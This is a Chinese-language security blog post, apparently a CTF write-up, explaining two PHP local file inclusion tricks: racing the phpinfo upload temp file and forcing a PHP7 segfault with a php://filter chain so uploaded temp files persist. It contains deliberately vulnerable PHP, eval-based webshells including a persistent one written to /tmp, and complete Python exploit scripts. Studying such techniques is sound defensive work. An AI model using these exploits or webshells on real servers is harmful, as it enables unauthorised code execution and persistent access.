文件包含&奇技淫巧

一叶飘零 Web安全 2019年4月18日发布
Favorite收藏

导语:最近遇到一些文件包含的题目,在本篇文章记录两个trick。

前言

最近遇到一些文件包含的题目,在本篇文章记录两个trick。

环境背景

复现环境还是很容易搭建的:

例题1(php7)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

例题2(php5)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

两道题的最终目标都是拿到根目录的flag。

phpinfo+LFI

我们看到例题2:

我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:

file=php://filter/read=convert.base64-encode/resource=index.php

这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。

最容易想到的是利用包含:

http://ip/index.php?file=/flag

但是由于:

if (strpos($a,'flag')!==false) {
die('nonono');
}

我们并不能进行读取,那么很容易想到,尝试getshell。

这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。

我们简单写一个测试脚本:

import requests
from io import BytesIO
files = {
  'file': BytesIO("<?php echo 'sky is cool!';")
}
url = "http://ip/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print r.content

可以看到回显中有如下内容:

_FILES["file"]
Array
(
    [name] => test.txt
    [type] => application/octet-stream
    [tmp_name] => /tmp/phptZQ0xZ
    [error] => 0
    [size] => 26
)

我们只要利用这一特性,进行包含getshell即可。

首先我们利用正则匹配,提取临时文件名:

data = re.search(r"(?<=tmp_name] =&gt; ).*", r.content).group(0)

4F6FD232-D094-415E-BFD0-80FA36A6CD1E.png接下来就是条件竞争的问题:如何在文件临时文件消失前,包含到它。

这里为了事半功倍,我搜集了一些资料和原理:

1.临时文件在phpinfo页面加载完毕后才会被删除。

2.phpinfo页面会将所有数据都打印出来,包括header。

3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接。

(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)

那么我们的竞争流程可以总结为:

1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。

2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。

3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。

4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。

5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。

同时,对于webshell也有讲究,因为包含过程比较麻烦,如果使用一次性一句话木马:

<?php @eval($_REQUEST[sky]);

则每次执行命令,都要进行一次包含,耗时耗力,所以我们选择包含后写入文件的shell:

<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);?>');?>

这样一旦包含成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。

尝试进行exp编写:

import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>\r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
\r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
\r
\r
"""
return (request1,request2)
def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i       
        if i == "":
            break
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        print 'not fonud'
    
    print "found %s at %i" % (d[i:i+10],i)
    return i+256
def phpinfo_LFI(host,port,offset,request1,request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((host,port))
s2.connect((host,port))
s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
s2.send(request2 % (fn,host,port))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
    return None
s1.close()
s2.close()
attempts = 1000
host = "ip"
port = "port"
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
print "try:"+str(i)+"/"+str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host,port,offset,request1,request2)
if res is not None:
print 'You can getshell with /tmp/sky!'
break

编写还是非常容易的,知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。

随后我们就可以轻松getshell:

2019-04-08-16-46-13.png

LFI+php7崩溃

前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。

但如果目标不存在phpinfo,应该如何处理呢?

这里可以用php7 segment fault特性。

我们可以利用:

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:

2019-04-08-16-52-42.png

这样就能达成我们getshell的目的,脚本相对容易很多:

2019-04-08-16-59-54.png

加上我们有dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

可以进行目录列举,我们只要找到临时文件名即可:

编写exp

import requests
from io import BytesIO
import re
files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r =  requests.post(url=url,data=data)
print r.content

运行即可看到flag

➜  Desktop python myexp2.py
include $_GET['file']flag{LFI_php7~}

后记

两则trick还是挺有意思的,如果出题不注意很容易进行非预期,同时在日常coding时也得注意这些不起眼的问题,一不留神就会被getshell。

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/web/17259.html
点赞 1
CTF
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    erfze 2019-04-20 22:42

    这个是哪里的题啊?还是作者自己想出来的?